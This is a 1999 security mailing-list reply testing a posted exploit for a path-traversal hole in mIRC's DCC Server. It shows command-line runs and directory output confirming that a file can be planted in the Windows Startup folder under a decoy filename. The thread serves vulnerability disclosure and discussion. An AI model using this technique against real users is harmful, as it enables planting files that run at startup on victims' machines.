Re: Mirc 5.5 'DCC Server' hole

From: Liam (redmageat_private)
Date: Mon Feb 01 1999 - 11:01:50 PST

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    I have also tested the balu perl script which was posted, having
    results exactly opposite to what Thomas has found.  The only
    difference being I havn't tested it on an NT machine, however
    there are some important things to consider when using the script.
    
    Sending "C:\autoexec.bat" will not work for two reasons, in the hole
    described it was mentioned that mIRC does not filter the '.' or '\'
    characters, however this does not mean that it isn't going to
    filter the ':" character used to specify a drive.
    
    Although the script claims to send a fake filename breasts.jpg,
    if the mIRC victim chooses to maximize the dcc receive window
    they will see the following
    
    Filename: breasts.jpg
    ..\..\..\..\..\autoexec.bat
    
    Which is another reason why you can't specify a drive letter.
    C:\WINDOWS>cd ..\..\..\..\E:\download
    Invalid directory
    
    Even if we omit the drive letter, there is no guarantee that the
    victim has installed mIRC on the C: drive.
    
    Also note, if you attempt to send a file which the person already has
    on their hard drive they will be presented with a dialog box
    'The file C:\autoexec.bat already exists'
    in which they may choose to overwrite, resume, or cancel.
    This defeats the purpose of sending a file breasts.jpg to get
    the person to accept.
    
    phear:~$./balu foo.bar.org RedMage ./evilfile.txt breasts.jpg
    'windows\startm~1\programs\startup\evilfile.txt'
    Nick of receiver: RedMage - Resume requested at offset: 0
    sending... done.
    phear:~$
    
    C:\WINDOWS> dir startm~1\programs\startup\e*.txt
    
     Volume in drive C is BOOT
     Volume Serial Number is 6396-30DC
     Directory of C:\WINDOWS\Start Menu\Programs\Startup
    
    EVILFI~1 TXT            22  02-01-99  1:53p evilfile.txt
             1 file(s)             22 bytes
             0 dir(s)     246,480,896 bytes free
    
    C:\WINDOWS>
    
    
    Hence it was successful and evilfile.txt will open each time
    the computer is rebooted.
    
    Not only is this successful, but it is successful on both
    mIRC 5.5 and mIRC 5.41.  I havn't tested it on any
    other versions but earlier versions of mIRC are probably
    also vulnerable.
    
    - Liam
    
    >gate:~# ./balu foo.bar.org Nickname ./autoexec.bat breasts.jpg
    >"c:\autoexec.bat"
    >Nick of receiver: unavailable - Resume requested at offset:
    >Broken pipe
    >
    >Tried many other settings, mirc client under win95, running balu from
    another
    >host etc. Nothing happens.
    >
    >Thomas.
    



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